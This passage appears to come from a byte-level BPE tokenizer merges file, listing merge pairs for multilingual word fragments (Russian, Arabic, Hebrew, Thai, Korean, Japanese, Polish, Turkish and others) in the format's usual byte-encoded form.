اط +عاط Ùģ +ĠÄij áºŃm +Ġз ÑĢ +ĠзÑĢ ÐµÐ½Ð¸Ñı +Ġbor ç +Ġнед ел +Ġнедел Ñİ +Ġh á»ı +Ġhá»ı ng +ìŀ¥ ìķł +ìŀ¥ìķł ìĿ¸ +ĠاÙĦع ÙĦاÙĤØ© +Ġíģ ¬ +Ġíģ¬ ê²Į +à¹Ħร à¹Ī +à¸ļา à¸Ķ +à¸ļาà¸Ķ à¹Ģà¸Īà¹ĩà¸ļ +à¸Ŀ รั +à¸Ŀรั à¹Īà¸ĩ +à¸Ŀรัà¹Īà¸ĩ à¹Ģศ +à¸Ŀรัà¹Īà¸ĩà¹Ģศ ส +ר ×¢×Ļ +רע×Ļ ×ķ׳×ķת +Ġë Į +ĠëĮ ĵ +ĠëĮĵ ê¸Ģ +Ġnaj b +Ġnajb li +Ġnajbli ż +Ġnajbliż sz +ĠиÑģполÑĮз ÑĥеÑĤÑģÑı +Ġcient ÃŃf +ĠcientÃŃf ico +×¢ ×ŀ×§ +Ġg ợi +Ø´ ØŃÙĨ +ĠÅĽ m +ĠÅĽm ier +ĠÅĽmier ci +à¸Ħาสิà¹Ĥà¸Ļ à¸Ńà¸Ńà¸Ļà¹Ħลà¸Ļà¹Į +×Ĺש×ij ת×Ļ +Ġn ingu +Ġningu ém +è¾¼ ãĤģ +ãģ · +ĠÑĥ г +ĠÑĥг ол +ï½ ° +פת ×Ļ×Ĺ +פת×Ļ×Ĺ ×ª +Ġ×Ķר×IJש ×ķ׳×Ļ×Ŀ +p ósito +ãĤŃ ãĥ¬ãĤ¤ +ãģ© ãģĵãĤį +à¹Ģà¸Ĺà¹Īา à¹Ħ +à¹Ģà¸Ĺà¹Īาà¹Ħ หร +à¹Ģà¸Ĺà¹Īาà¹Ħหร à¹Ī +ĠинÑĤеÑĢ ÑĮеÑĢ +ĠØŃ اج +ĠØŃاج Ø© +สี à¸Ĥาว +ìĸ ¼ +Ġn á»Ļ +Ġná»Ļ p +ĠÃŃ nd +ĠÃŃnd ice +สำ รวà¸Ī +Ġкажд ой +Ġhot éis +Ġnast ÄĻ +ĠnastÄĻ pn +Ġ×Ķ×§ ×ķ×ĵ +Ġ×Ķ×§×ķ×ĵ ×Ŀ +פ ×ķפ +פ×ķפ ×ķ׾ +פ×ķפ×ķ׾ ר×Ļ +вÑĪ ÐµÐ¹ +ãĤ·ãĥ³ ãĥĹ +ãĤ·ãĥ³ãĥĹ ãĥ« +ĠzdjÄĻ Äĩ +ĠгÑĢÑĥпп а +Ġпом еÑī +ĠпомеÑī ениÑı +ãģ©ãģĨ ãģĦãģĨ +ĠиÑģп ÑĭÑĤа +Ġog ÅĤ +ĠogÅĤ os +ĠogÅĤos zen +ĠogÅĤoszen i +สรà¹īาà¸ĩ สรร +สรà¹īาà¸ĩสรร à¸Ħà¹Į +à¸ŀร รà¸ĵ +Ġçık Ä±ÅŁ +ĠÑĩаÑģÑĤ ноÑģÑĤи +Ġ×ķ ×Ļ×ķתר +ç¶ļãģį ãĤĴ +ç¶ļãģįãĤĴ èªŃ +ç¶ļãģįãĤĴèªŃ ãĤĢ +à¸ģร ั +à¸ģรั ม +г ÑĢаÑĦ +Ġв лад +Ġвлад елÑĮ +ĠвладелÑĮ ÑĨ +Ġistedi ÄŁ +ĠistediÄŁ iniz +×ij׾ ×¢ +×ij×ľ×¢ ×ĵ×Ļ +ÙħÙĪ Ø§Ùģ +ÙħÙĪØ§Ùģ ÙĤØ© +Ġ×Ļ ×ķר +Ġ×Ļ×ķר ×§ +ãĤ«ãĥ¼ãĥī ãĥŃãĥ¼ãĥ³ +ĠاÙĦÙħØ´ ÙĥÙĦ +ĠاÙĦÙħØ´ÙĥÙĦ Ø© +ĠêµŃ íļĮ +ס פ×ĺ +ספ×ĺ ×ŀ +ספ×ĺ×ŀ ×ijר +Ġìĸ´ ëłµ +Ùĥ اÙħ +ÙĥاÙħ ÙĬرا +sch lü +schlü sse +ĠØ« ÙĨ +ĠØ«ÙĨ ائÙĬ +ìī ½ +ĠÐŀ Ñģоб +ĠÐŀÑģоб енно +Ġин веÑģÑĤи +ĠинвеÑģÑĤи ÑĨи +اØŃ تÙħ +اØŃتÙħ اÙĦ +E Äŀ +EÄŀ İ +íķĺ ê²łëĭ¤ +Ġ×IJ ×ijר×Ķ +Ġ×IJ×ijר×Ķ ×Ŀ +Ġ×ij×Ĺ ×Ļ׳×Ŀ +Ø£ ÙĪØ¶ +Ø£ÙĪØ¶ اع +Ġdé l +Ġdél ai +Ġ×IJ×ķ×Ķ ×ij×Ļ×Ŀ +ĠÑģо Ñħ +ĠÑģоÑħ ÑĢ +ĠÑģоÑħÑĢ Ð°Ð½Ð¸ +ĠдоÑģÑĤ иж +ĠдоÑģÑĤиж ени +สิà¹Īà¸ĩ à¹ģ +สิà¹Īà¸ĩà¹ģ วà¸Ķ +สิà¹Īà¸ĩà¹ģวà¸Ķ ล +สิà¹Īà¸ĩà¹ģวà¸Ķล à¹īà¸Ńม +ĠاÙĦÙħ باشر +ĠÑĦ иг +ĠÑĦиг ÑĥÑĢ +мож ем +׾×ŀ×Ļ×ĵ ×Ķ +Ġcin é +Ġciné ma +Ġb ada +Ġbada ÅĦ +جب ÙĩØ© +Ġд еп +Ġдеп ÑĥÑĤ +ĠдепÑĥÑĤ аÑĤ +Ġdist ância +ĠاÙĦÙħ عار +ĠاÙĦÙħعار ضة +thè se +ü nc +ünc ü +Ġдан ного +ĠBel gi +ĠBelgi ë +Ġ×ij ×ij×§ +Ġ×ij×ij×§ ש×Ķ +ย à¹Īาà¸Ļ +Ġsol ução +Ġ×Ķצ ×ĺר +Ġ×Ķצ×ĺר פ×ķ +ĠØ£ÙĨ ØŃ +ĠØ£ÙĨØŃ اء +Ġد ÙħØ´ +ĠدÙħØ´ ÙĤ +มั à¹ī +มัà¹ī ย +Ùħ غرب +است عÙħاÙĦ +ĠS ÅĤow +ĠëıĻ ìĭľ +ĠëıĻìĭľ ìĹIJ +ĠÑģ оÑģ +ĠÑģоÑģ ед +ì²Ń ìĨĮ +ì²ŃìĨĮ ëħĦ +Ġг ÑĢаÑĦ +ĠгÑĢаÑĦ ик +Ġìŀij ìĿĢ +Ġyet i +Ġyeti ÅŁtir +ĠìĿ´ê²ĥ ìĿ´ +ห à¹Īาà¸ĩ +Ø¥ ÙħÙĥاÙĨ +Ø¥ÙħÙĥاÙĨ ÙĬØ© +است عراض +ÙħØ® در +ĠÑĩ ÑĥÑĤÑĮ +Ùħ دÙĬر +ÙħدÙĬر ÙĬØ© +Ġà¹Ģม ษ +Ġà¹Ģมษ ายà¸Ļ +Ġм еÑħ +ĠмеÑħ аниз +ĠмеÑħаниз м +ĠÑģ Ñĥм +ĠÑģÑĥм мÑĥ +Ġv ö +Ġvö ll +Ġvöll ig +Ġд ÑĢÑĥз +ĠдÑĢÑĥз ÑĮÑı +ãĤĴåĪ©ç͍ ãģĹãģ¦ +à¸ļรร à¸Īุ +po życz +×ŀש ׼ +×ŀש׼ ×ł×ª +×ŀ×©×Ľ×ł×ª ×IJ +Ġeuropé en +Ġpropri é +Ġproprié taire +Ġkh ấu +ãģĦãģŁãģł ãģijãĤĭ +Ġtec rü +Ġtecrü be +×Ķ ×ij +×Ķ×ij ׳×Ķ +Ġcu Ì +ĠcuÌ ī +ĠcuÌī a +×IJ ×ķ×ķ +×IJ×ķ×ķ ×Ļר×Ķ +Ġ׼×ķ׾ ×ķ +U lus +Ulus lararası +Ġ׳ ×ķת +Ġ׳×ķת ף +ãģ« åIJij +ãģ«åIJij ãģijãģ¦ +ë¹ Ľ +à¸Ĺ ัà¸ģษ +à¸Ĺัà¸ģษ ะ +س ÙĤÙĪ +سÙĤÙĪ Ø· +Ġв н +Ġвн еÑĪ +ĠвнеÑĪ Ð½Ðµ +Ġur z +Ġurz ÄĻd +Ġá mb +Ġámb ito +à¸Ń à¸ĺิ +à¸Ńà¸ĺิ à¸ļาย +Ġ ÅĤad +ĠÅĤad n +ê±´ ì¶ķ +wód zt +wództ w +Ġquest ões +Ġש ×§ +Ġשק ×Ļ×ij׾ +Ġmiejsc owoÅĽci +Ġв ал +Ġвал ÑİÑĤ +hä user +หà¸Ļ à¸Ńà¸ĩ +ãģ¨ åħ± +ãģ¨åħ± ãģ« +ãĥı ãĥ¼ãĥī +Ġê°ľ ìµľ +ĠоÑģнов ном +Ġм ÑıÑģ +اع ت +اعت ÙĤاÙĦ +สà¸ĸ ิ +สà¸ĸิ à¸ķิ +N gu +Ngu á»ĵn +ĠÙħ جÙĦ +ĠÙħجÙĦ Ø© +à¹ģà¸Ĥ à¸Ļ +ĠاÙĦÙĦÙĬ بÙĬ +פע×Ļ׾ ×ķ×Ļ×ķת +Ġ×Ķר פ×ķ×IJ×Ļ +פר ×ķפ +פר×ķפ ×Ļ׾ +×§ ׾×IJ +ק׾×IJ ס×Ļ +Ùĥت Ø´Ùģ +ãģ«ãģª ãģ£ãģ¦ãģĹãģ¾ãģĨ +à¹Ģà¸Ħล à¹ĩà¸Ķ +à¹Ģà¸Ħลà¹ĩà¸Ķ ลัà¸ļ +Ġì» ´ +Ġì»´ íĵ¨ +Ġì»´íĵ¨ íĦ° +Ġ×Ĺ×Ļ ×ķ×ij×Ļ +Ġnä m +Ġnäm lich +åij¼ ãģ° +åij¼ãģ° ãĤĮ +ĠÑĢ Ð¾Ð» +ĠÑĢол и +Ġspécial isé +à¸Ļ วัà¸ķ +à¸Ļวัà¸ķ à¸ģรรม +ÙĨص ÙĪØµ +пеÑĢ ÐµÐ´ +пеÑĢед аÑĩ +thè que +Ġר×IJ ×Ļת×Ļ +ãĥĢ ãĤ¦ãĥ³ +ãĤı ãģĭ +ãĤıãģĭ ãģ£ãģ¦ +беÑĢ ÐµÐ¶ +ĠÑģ ек +ĠÑģек ÑĢ +ĠÑģекÑĢ ÐµÑĤ +ĠпоÑģÑĤоÑıн н +à¸Ĥà¸Ļ สà¹Īà¸ĩ +Ġm ük +Ġmük em +Ġmükem mel +еÑĤ еÑģÑĮ +ĠاÙĦسÙĨ ÙĪØ§Øª +ĠìłĦ íĺĢ +Ġ×Ķ×ŀ×§ ×ķר×Ļ +Ġmü d +Ġmüd ah +Ġmüdah ale +Ġwy b +Ġwyb ór +Ġtend ência +Ø¥ دار +إدار ÙĬØ© +Ġunterstüt zen +ת ×ijר +ת×ijר ר +Ġdi á +Ġdiá logo +ĠÃĸ nce +ĠÃĸnce ki +ãĤ¹ãĥĿ ãĥĥãĥĪ +ëĦ £ +ĠG eli +ĠGeli ÅŁ +ãĤĴ éĢļ +ãĤĴéĢļ ãģĹãģ¦ +ĠFuÃŁ ball +Ġsal ari +Ġsalari é +ĠпÑĢодÑĥк ÑĤов +صÙģ ÙĤØ© +รว à¸ļ +รวà¸ļ รวม +à¹ĥà¸Ļ à¸IJาà¸Ļ +à¹ĥà¸Ļà¸IJาà¸Ļ ะ +Ġkay na +Ġkayna ģı +Ġìŀij íĴĪ +ĠвÑĭ ÑĢаж +ĠвÑĭÑĢаж ен +ĠÑģÑĤ еп +ĠÑģÑĤеп ени +ĠاÙĦÙħ ÙĪØ¬ÙĪØ¯ +ĠاÙĦÙħÙĪØ¬ÙĪØ¯ Ø© +ล à¹īม +Ġnaj czÄĻ +ĠnajczÄĻ ÅĽcie +ĠnajczÄĻÅĽcie j +Ġz wy +Ġzwy k +Ġzwyk ÅĤ +Ġê·¸ëłĩ ì§Ģ +à¸ģระ à¸Ī +à¸ģระà¸Ī าย +Ġëĭ µ +Ġëĭµ ë³Ģ +ĠÑĢе ак +ĠÑĢеак ÑĨи +ĠÅĽwie ż +ĠÑģÑĤоим оÑģÑĤи +ÙħÙĨ اÙĤ +ÙħÙĨاÙĤ Ø´ +ÙħÙĨاÙĤØ´ Ø© +ĠÑħоÑĩ Ñĥ +ãĥľ ãĥ¼ãĥī +Ġróż nic +Ġк ÑĢÑĭ +ĠкÑĢÑĭ ÑĪ +âľ ĵ +ãĤ³ãĥ³ ãĥĨãĥ³ +ãĤ³ãĥ³ãĥĨãĥ³ ãĥĦ +ĠпÑĢед поÑĩ +×ŀר ×ij×Ļת +ĠØ´ Ùĥ +ĠØ´Ùĥ را +Ġд ал +Ġдал ек +Ġдалек о +بر ÙĬØ· +برÙĬØ· اÙĨÙĬا +ع ÙĨا +عÙĨا ÙĬØ© +ĠÑĢаÑģÑģ каз +ĠÑĢаÑģÑģказ Ñĭва +Ø£ ÙĦÙĪ +Ø£ÙĦÙĪ Ø§ÙĨ +æĮģ ãģ£ãģ¦ +æĮģãģ£ãģ¦ ãģĦ +Ùħباد ئ +×Ķ ×¢×ijר +×Ķ×¢×ijר ת +Ġyay ı +Ġyayı ml +Ġyayıml a +m át +mát icos +à¸ģ ัà¸ĩ +à¸ģัà¸ĩ วล +Ġ׾ פת +Ġ×ľ×¤×ª ×ķ×Ĺ +à¸ŀฤ à¸ķิ +à¸ŀฤà¸ķิ à¸ģรรม +í Ĥ¬ +Ġок ÑĢÑĥг +Ġ×ŀצ ×ķ×ķ×Ķ +ÐĽ ени +ÐĽÐµÐ½Ð¸ н +ĠTri á»ģu +ãĤ³ãĥŁ ãĥ¥ +ãĤ³ãĥŁãĥ¥ ãĥĭ +ãĤ³ãĥŁãĥ¥ãĥĭ ãĤ± +ãĤ³ãĥŁãĥ¥ãĥĭãĤ± ãĥ¼ãĤ·ãĥ§ãĥ³ +Ùĥ ÙĨÙĬ +ÙĥÙĨÙĬ سة +ãĤĴ ä¸Ńå¿ĥ +ãĤĴä¸Ńå¿ĥ ãģ« +ĠmiÄĻd z +ĠmiÄĻdz yn +ĠmiÄĻdzyn ar +ĠmiÄĻdzynar od +ĠmiÄĻdzynarod ow +ÙĦ ÙĨ +ÙĦÙĨ دا +بر Ø´ +برش ÙĦÙĪÙĨ +برشÙĦÙĪÙĨ Ø© +à¸ģระ à¸ķุ +à¸ģระà¸ķุ à¹īà¸Ļ +Ġg ı +Ġgı da +à¸Ľà¸£à¸° à¸Ĺัà¸ļ +à¸Ľà¸£à¸°à¸Ĺัà¸ļ à¹ĥà¸Ī +Ġë¶Ī 구 +Ġë¶Ī구 íķĺê³ł +ĠÙĨ Ø· +ĠÙĨØ· اÙĤ +ĠÐľ ожеÑĤ +Pr äs +Präs ident +ĠÑģк оÑĢ +ĠÑģкоÑĢ Ð¾ÑģÑĤÑĮ +Ġ×Ķ×ij ×ķקר +еÑħ аÑĤÑĮ +Ġg ạo +Ġש×IJ ×Ļ׳×Ŀ +Ġ×ij׳ ×ķ×Ĵ +Ġ×ij׳×ķ×Ĵ ×¢ +Ġо пиÑģание +Ġucz ni +Ġuczni ów +à¹Ģà¸Ń à¹ĩà¸Ļ +Ġت Ø´ +Ġتش رÙĬÙĨ +Ġnh ãn +ë¹ ¨ +Ġcaract ère +×¢ ׾×Ļ +×¢×ľ×Ļ ×Ļ×Ķ +楽ãģĹ ãĤģãĤĭ +ĠÑģ аÑħ +ĠÑģаÑħ аÑĢ +дÑĥм аÑĤÑĮ +ĠÐĴоз можно +ص ÙĬاÙĨ +صÙĬاÙĨ Ø© +öm ür +ส ล +สล à¹ĩ +สลà¹ĩ à¸Ń +สลà¹ĩà¸Ń à¸ķ +ë¡ ¯ +Ġth ói +gr Ã¶ÃŁe +Ġksi ÄĻ +ĠksiÄĻ g +ĠÑĢ Ð¾Ð¼ +ĠÑĢом ан +ÙĤ اسÙħ +×ŀ×ij ×ķ×Ĵ +×ŀ×ij×ķ×Ĵ ר×Ļ×Ŀ +bes ch +besch äft +beschäft ig +×Ķצע ×Ķ +ĠÃģ rea +ĠзаÑıв к +Ä ¹ +ĠлÑİб ого +Ġ ม +Ġม à¸ģร +Ġมà¸ģร าà¸Ħม +ÑĦ из +ÑĦиз иÑĩеÑģк +ин ÑĦ +инÑĦ ек +инÑĦек ÑĨи +اÙĦ Ø· +اÙĦØ· ائÙģ +Ġкол л +Ġколл екÑĤив +ез жа +Ġس بØŃ +ĠسبØŃ اÙĨ +ĠسبØŃاÙĨ Ùĩ +sch lä +schlä ge +Ġд и +Ġди аг +Ġдиаг ноÑģÑĤ +ĠоÑĤмеÑĤ иÑĤÑĮ +Т Ь +ĠاÙĦ در +ĠاÙĦدر اسÙĬ +עצ ×ŀ +עצ×ŀ ×IJ×ķת +Ġdém arch +Ġdémarch e +Ġ×ĺ ×ķ×¢ +Ġ×ĺ×ķ×¢ ף +Ġfuncion ários +á» µ +׾ ׼×IJ +׾׼×IJ ×ķר×Ķ +à¸ĭ à¹Ī +à¸ĭà¹Ī à¸Ńม +ĠÑĩ Ñĥв +ĠÑĩÑĥв ÑģÑĤво +âĸ ¼ +п ÑĥÑī +пÑĥÑī ен +Ġм еÑĢ +ĠмеÑĢ Ð¾Ð¿ +ĠмеÑĢоп ÑĢи +ĠмеÑĢопÑĢи ÑıÑĤиÑı +Ġu çu +Ġuçu ÅŁ +ãĤĴåĪ©ç͍ ãģĻãĤĭ +a ÄŁ +aÄŁ lı +ìĺĪ ìĪł +à¹ģ ยà¹Ī +ĠاÙĦÙĥ Ùħ +ĠاÙĦÙĥÙħ بÙĬ +ĠاÙĦÙĥÙħبÙĬ ÙĪØªØ± +ت ÙĪÙĬ +تÙĪÙĬ تر +à¹Ģà¸Ĭ ีà¹Īยว +à¹Ģà¸Ĭีà¹Īยว à¸Ĭา +à¹Ģà¸Ĭีà¹Īยวà¸Ĭา à¸į +á» Ķ +Ġhi ếm +ذا Ùĥرة +Ġ×Ķ×ŀ×Ļ ×ķ×Ĺ×ĵ +ĠìĪ ľ +ĠìĪľ ê°Ħ +ĠK ı +ĠKı sa +Ġgele ceÄŁi +пÑĢо ÑĦеÑģÑģиона +пÑĢоÑĦеÑģÑģиона л +Ġog ó +Ġogó le +ĠgÅĤ ów +ĠgÅĤów ne +ĠÑģÑĤ илÑĮ +×IJ פ׾ +×IJפ׾ ×Ļ×§ +×IJפ׾×Ļ×§ צ×Ļ×Ķ +สม ารà¹Į +สมารà¹Į à¸Ĺ +สมารà¹Įà¸Ĺ à¹Ĥà¸Ł +สมารà¹Įà¸Ĺà¹Ĥà¸Ł à¸Ļ +Ġth ánh +ÐŁ од +ÐŁÐ¾Ð´ ÑĢоб +ÐŁÐ¾Ð´ÑĢоб нее +ĠاÙĦت ÙĪÙĨ +ĠاÙĦتÙĪÙĨ سÙĬ +Ġbah çe +à¹ģà¸ģà¹ī à¸Ľà¸±à¸įหา +é ducation +eu rop +europ ä +europä ische +ĠK si +ĠKsi ÄĻ +ĠëĦ ĺ +ĠëĦĺ ìĸ´ +Ġv üc +Ġvüc ud +Ġyay g +Ġyayg ın +Ġnie kt +Ġniekt óry +Ġniektóry ch +ãģŃ ãģĩ +Ġк аж +Ġкаж еÑĤÑģÑı +к аж +каж еÑĤ +ĠاÙĦ دÙĬÙħÙĤرا +ĠاÙĦدÙĬÙħÙĤرا Ø· +ĠاÙĦدÙĬÙħÙĤراط ÙĬØ© +æŃ © +æŃ© ãģĦãģ¦ +Ġv az +Ġvaz ge +Ġvazge ç +Ġмин ималÑĮ +ĠминималÑĮ н +ãĥij ãĤ¿ +ãĥijãĤ¿ ãĥ¼ãĥ³ +Ġë Ĭ +ĠëĬ IJ +ĠëĬIJ ëĤĮ +ãģ¡ ãĤĩãģĨ +ãģ¡ãĤĩãģĨ ãģ© +Ġ à¸ģร +Ġà¸ģร à¸ģà¸İ +Ġà¸ģรà¸ģà¸İ าà¸Ħม +تج دÙĬد +ĠØ´ اÙħÙĦ +หลัà¸ģ à¸IJาà¸Ļ +ĠмаÑĢ ÑĪ +ĠмаÑĢÑĪ ÑĢÑĥÑĤ +Ġv ÃŃt +ĠvÃŃt ima +Ġquiz á +ay gı +×ĵ×ijר ×Ļ×ķ +Ġиз д +Ġизд ели +Ġиздели Ñı +п ла +пла Ñĩ +плаÑĩ ива +ä»» ãģĽ +Ġéquip é +ä¹ħ ãģĹãģ +ä¹ħãģĹãģ ¶ +ä¹ħãģĹãģ¶ ãĤĬ +Ġк аÑĤ +ĠкаÑĤ ал +ĠкаÑĤал ог +ส à¹īม +ĠÑĢ ÐµÐ¹ +ĠÑĢей ÑĤ +ĠÑĢейÑĤ инг +Ġth uyá»ģn +ĠاÙĦÙħ ÙĤدس +esp ère +ãģ«åħ¥ ãģ£ãģŁ +หมาย à¹Ģลà¸Ĥ +ת×Ĺ×ķש ת +à¸Ļ à¹Īะ +Ġpe ÅĤ +ĠpeÅĤ ne +Ġpé rd +Ġpérd ida +หม วà¸Ķ +หมวà¸Ķ หมูà¹Ī +иÑĩеÑģк ÑĥÑİ +çµĤ ãĤı +çµĤãĤı ãģ£ãģŁ +Ġ×Ĵ ×ķ×Ĵ׾ +à¸Ĺำ à¸Ħวาม +à¸Ĺำà¸Ħวาม สะà¸Ńาà¸Ķ +Hot éis +Ġз аÑĢ +ĠзаÑĢ ÐµÐ³Ð¸ÑģÑĤ +ĠзаÑĢегиÑģÑĤ ÑĢи +ĠзаÑĢегиÑģÑĤÑĢи ÑĢова +ĠÑģ обÑĭÑĤи +ĠÑģобÑĭÑĤи Ñı +Ġ×ĸ ׼×IJ +ÙħÙĨظ ÙĪÙħØ© +Ġ×Ķ×ŀ צ +Ġ×Ķ×ŀצ ×Ļ×IJ×ķת +Ùħ ÙĥÙĪÙĨ +ÙħÙĥÙĪÙĨ ات +ä¸ĬãģĮ ãĤĭ +Ġm ÄĻ +ĠmÄĻ sk +หรืà¸Ń à¹Ģà¸Ľà¸¥à¹Īา +ëĤ ® +Ġnok tas +Ġnoktas ı +ĠболÑĮÑĪ Ð¸Ð¼ +ĠлÑĥÑĩ ÑĪиÑħ +Ø´Ùĩ ÙĬد +à¸Ńำ à¸Ļ +à¸Ńำà¸Ļ วย +à¸Ńำà¸Ļวย à¸Ħวาม +à¸Ńำà¸Ļวยà¸Ħวาม สะà¸Ķวà¸ģ +Ġе в +Ġев ÑĢ +ĠевÑĢ Ð¾Ð¿ +ĠевÑĢоп ей +à¸ī าย +ìĦ Ń +Ùħ Ù쨧 +ÙħÙ쨧 ÙĪØ¶ +ÙħÙ쨧ÙĪØ¶ ات +ë¹ Į +赤 ãģ¡ãĤĥãĤĵ +ĠÑĥдал оÑģÑĮ +ĠÐ¥ оÑĤ +ĠХоÑĤ Ñı +przedsiÄĻbior c +ĠH ôm +íķĺìĺĢ ìĬµëĭĪëĭ¤ +Ġн аг +Ġнаг ÑĢÑĥз +ĠнагÑĢÑĥз к +Ġ×ij×Ļ׳ ׾×IJ×ķ×ŀ×Ļ +Ġê°ĢëĬ¥ íķľ +ĠH ữu +à¸Ń ุà¸Ķ +à¸Ńุà¸Ķ ม +ת ×ķפ +ת×ķפ ×¢×Ķ +Ġmi ÅĤo +ĠmiÅĤo ÅĽci +ksi Äħż +ksiÄħż ka +ĠاÙĦÙĦ عبة +à¸ī าà¸ģ +สะ สม +×ŀ תר +×ŀתר ×Ĺש +Ġlég ère +Ġ׾צ פ +Ġ׾צפ ×Ļ×Ķ +ĠиÑģÑĤоÑĢ Ð¸Ñı +Ġ ãĥĪãĥ© +ĠãĥĪãĥ© ãĥĥãĤ¯ +ĠãĥĪãĥ©ãĥĥãĤ¯ ãĥIJãĥĥãĤ¯ +Ġк а +Ġка ÑĦе +×ŀס×ŀ ×ļ +Ġc üm +Ġcüm le +à¹Ģà¸Ħลืà¹Īà¸Ńà¸Ļ à¹Ħหว +ãģĬ ãģĿ +ãģĬãģĿ ãĤīãģı +ìŀIJ ëıĻ +ìŀIJëıĻ ì°¨ +à¸Ńั à¸ķ +à¸Ńัà¸ķ à¹Ĥà¸Ļ +à¸Ńัà¸ķà¹Ĥà¸Ļ มั +à¸Ńัà¸ķà¹Ĥà¸Ļมั à¸ķิ +ĠÅŁ ik +ĠÅŁik ay +ĠÅŁikay et +extr ême +kr ä +krä fte +ëĤ Ļ +íķ ij +ì² Ļ +íĺ Ī +ì° į +âĻ ¡ +ìŀ Ķ +ë¢ ° +íĿ Ķ +íĿ IJ +âĩ Ĵ +ë§ Ľ +ìĬ Ī +á» Ĵ +ìĺ µ +âĹ İ +í Ĥ¨ +ê¿ Ī +ìĪ ¨ +ìĽ ¨ +ë§ ¥ +ï½ Ģ +ï¼ ª +Ạ¨ +ãħ İ +Ñ Ĺ +ìĦ ¬ +ì¹ ¼ +ï¼ ¶ +ìĽ ł +ëŁ ´ +Å ĥ +ëĤ ¼ +ëĭ IJ +âĢ ¹ +ë¦ Ń +ì§ IJ +âĢ ¤ +à ħ +ëľ ¨ +íĦ ¸ +íľ ĺ +ê² ģ +ë´ ħ +à ĺ +ëŃ Ķ +ëĺ ij +âĹ ĩ +ìĹ ĺ +ï» ´ +ë§ ¹ +ï¾ Ŀ +ìĬ · +íĥ ķ +ï¼ ł +ì» ´ +ëł Į +ì½ ľ +ï» ¹ +ãħ ł +ì¡ ¸ +ëħ ¹ +âĤ º +âĸ ¶ +íĥ IJ +êµ ´ +íij ¸ +Ñ Ķ +íĶ ½ +Ð ħ +ë° ¤ +Ô ģ +ì² ¨ +ì¶ ĺ +ë² Ĺ +ë© ¸ +ï¼ » +ï¼ ½ +ï¼ · +ì° Į +à Ĵ +íı ´ +ìĵ ¸ +ì´ Į +ëģ Ķ +ëĶ © +ëĩ Į +ë© Ģ +ë² ¨ +ï¼ µ +ë§ ¡ +ëĭ « +ภ¿ +ãģ ± +ìĩ ¼ +ìº ł +ë® ¤ +ê± ± +ì» ¬ +âĦ ĥ +ëĶ ± +ëĥ Ī +ìĭ ± +íĻ Ī +ëŀ IJ +ìħ Ģ +ìł ł +Ð Ĩ +ëł ī +ï½ ħ +ï½ ı +íĻ Ģ +ëĽ ° +á» ® +í Ĥ¹ +ê½ ĥ +ï» ¤ +ïº Ķ +êº ¼ +ìķ ī +âĻ ¦ +ï½ ģ +ìĵ ´ +ãĢ ī +ì° ® +ì¤ ĺ +á» ª +ëģ Ħ +ëIJ ¨ +ìķ Į +íĿ ĺ +íħ IJ +ãĢ Ī +ê² ª +ëĭ ¥ +ê² ¼ +á» Į +ë§ ¨ +ëģ Ĭ +ë² ¤ +ëij Ķ +íĿ ¡ +á» ¬ +ë¬ ĺ +ãģ ī +ëŀ « +íĶ Ī +í ħį +ìŀ ĥ +ï½ ī +ìģ ľ +âĸ ½ +ë¬ » +âĸ ³ +ï¼ ¸ +ìģ ĺ +ì¶ ° +ìĬ ´ +ìķ ± +ìĩ Ħ +Ạ® +ï´ ¿ +ï´ ¾ +âĤ ½ +ëĦ ĵ +ë£ © +ì³ ¤ +ê´ ľ +Ã Ļ +á» ľ +ï¿ £ +ëĵ Ń +ë© ĺ +ê» ´ +ëł ´ +Ð ĥ +ë¬ µ +ì§ Ŀ +ãģ º +ðŁĺ Ĥ +ëŀ ¬ +ìł Ĭ +ê´ Ħ +ìŀ Ĭ +íŀ Į +ìĦ ¯ +âĪ Ģ +âĸ ¡ +ëĢ Į +ëŀ Ļ +ï½ ĥ +Ạ¶ +ï¾ Ħ +ïº ĺ +ë¹ ¼ +à Į +âĸ · +ê¸ į +ë© ĭ +ãģ ĥ +ìĺ Ĩ +ìĺ ® +ëª ¬ +ë¡ ¤ +ëł ¬ +ëĬ ¦ +âĸ ª +ì¼ ĵ +ìľ Ī +ì§ § +ï½ ½ +ëĥ ī +ï¾ Į +ëĺ IJ +ï¼ ĥ +á» Ħ +ì´ ¬ +ì¶ ¤ +ï¼ ¹ +ï» Ń +âĤ « +ï½ ĩ +ìĺ · +ëĸ ¨ +âī « +ë¦ ¿ +âľ ¨ +Ù ± +ì¯ ¤ +ê¹ Ķ +ðŁĺ Ĭ +ìĪ « +ê³ ± +êµ ³ +ï½ ĭ +ภĮ +Ä ł +ëĶ ¸ +ë° ij +ìħ ĭ +íİ ´ +âľ ħ +íĥ ij +ëĪ ĩ +íı ¼ +ðŁĺ į +ìĺ Ľ +ï» £ +Ñ ĺ +ì© Į +ë¦ ħ +ìĿ į +ï½ ¸ +ëį ľ +ãģ ħ +íİ ¼ +ëĭ Ŀ +ë¿ Į +ì¼ ° +ìĭ « +ë° ¥ +íĽ Į +ì¨ Į +ë¹ Ļ +ï½ İ +ë´ Ħ +ìĦ ¹ +ï½ ² +ìĮ ĵ +Ò ij +ë° į +ëł Ģ +íĨ ¤ +ï½ ¯ +ë¤ Ħ +ê½ ¤ +ï½ Ĵ +ìķ ¨ +ï½ ¼ +ê¹ IJ +íģ IJ +âĦ ĸ +ë§ º +ïº ® +ëħ ģ +ê² ¸ +ï» ł +íĬ ľ +Å ¹ +ë¥ Ń +ëĪ ī +ï½ Ķ +íĮ ¬ +ìŀ ĩ +ï ¬ģ +ï» ¨ +ëij ¥ +ëŀ Ħ +Ù ¬ +íĭ ´ +ìŀ ī +Ú ¾ +ìĽ ħ +ï» ® +ëĭ ī +âī ª +âĹ Ħ +ëĪ Į +íĽ ¼ +ì¤ į +Å ¸ +ì¤ ¬ +ì¾ Į +ï½ ĵ +ï¾ Ĭ +ðŁı » +ï¾ ī +Ð ģ +íĺ IJ +ï¾ Ļ +ê¼ ¬ +íŀ IJ +âĢ ¥ +ëŁ Ń +ë§ ŀ +ìĥ ¤ +ïº Ĵ +íĭ ± +ë½ ij +à ķ +âĪ ļ +ëĤ Ħ +ê¹ Ŀ +ëĨ Ī +Ạº +ìħ Ī +ìĮ į +âĢ ¡ +ï¼ ± +ìģ ¨ +âĺ º +ëĴ · +ìĺ ³ +ðŁij į +ëª ½ +ëĤ Ń +ïº Ń +ë© Ī +á» Ī +íķ Ģ +ëĭ Ļ +ë¦ ĩ +ìķ ¤ +ìį ¼ +ãĥ µ +Ñ £ +ìľ Ĺ +â ŃIJ +ï¾ ĺ +íĹ ¬ +ê¾ ¼ +ìķ Ĺ +ï» Į +ê± · +ëħ 